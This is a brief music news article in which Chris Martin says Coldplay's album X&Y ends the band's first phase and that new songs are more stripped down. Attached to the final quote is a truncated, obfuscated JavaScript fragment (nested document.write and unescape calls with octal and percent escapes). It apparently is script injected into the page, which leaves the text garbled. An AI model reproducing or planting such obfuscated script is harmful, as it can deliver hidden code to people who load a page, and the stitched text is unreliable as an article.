Coldplay say their latest album X&Y marks the end of the first phase of their career.
The band say they have been writing new material which marks a change of direction.
Chris Martin told Xfm: "We're always working on new material. We've got no laurels to rest on. We're still looking for our laurels in my opinion.
"We've everything to prove and we've finished phase one of Coldplay and now we're going to enter phase two, which could be the Abba phase it could be the transvestite phase, who knows, but it'll definitely be good."
Martin said the new songs were more stripped down than the material on their first three albums.
"It's not a reaction against anything as much as an evolvement," he explained.
"But the new record's going to blow your socks off. Or tights, depending on what you're wearing."document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;
